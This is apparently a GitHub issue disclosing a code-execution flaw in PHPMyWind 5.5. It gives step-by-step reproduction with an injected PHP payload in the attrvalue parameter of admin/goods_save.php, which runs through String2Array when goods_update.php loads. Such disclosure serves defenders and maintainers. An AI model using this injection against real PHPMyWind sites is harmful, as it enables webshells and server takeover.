Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
In summary: from admin/goods_save.php Insert data into database and then from admin/goods_update.php enter the String2Array function and code execution :)
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Attackers can get webshell or code execution
1.First download the phpmywind the Latest version from http://phpmywind.com/downloads/PHPMyWind_5.5.zip
2.install it
3.login as Admin
4.request http://localhost/admin/goods_save.php?action=add&attrid[]=1&attrvalue[]=2");phpinfo();//
5.then request http://localhost/admin/goods_update.php?id=2
In summary: from admin/goods_save.php Insert data into database and then from admin/goods_update.php enter the String2Array function and code execution :)
The text was updated successfully, but these errors were encountered: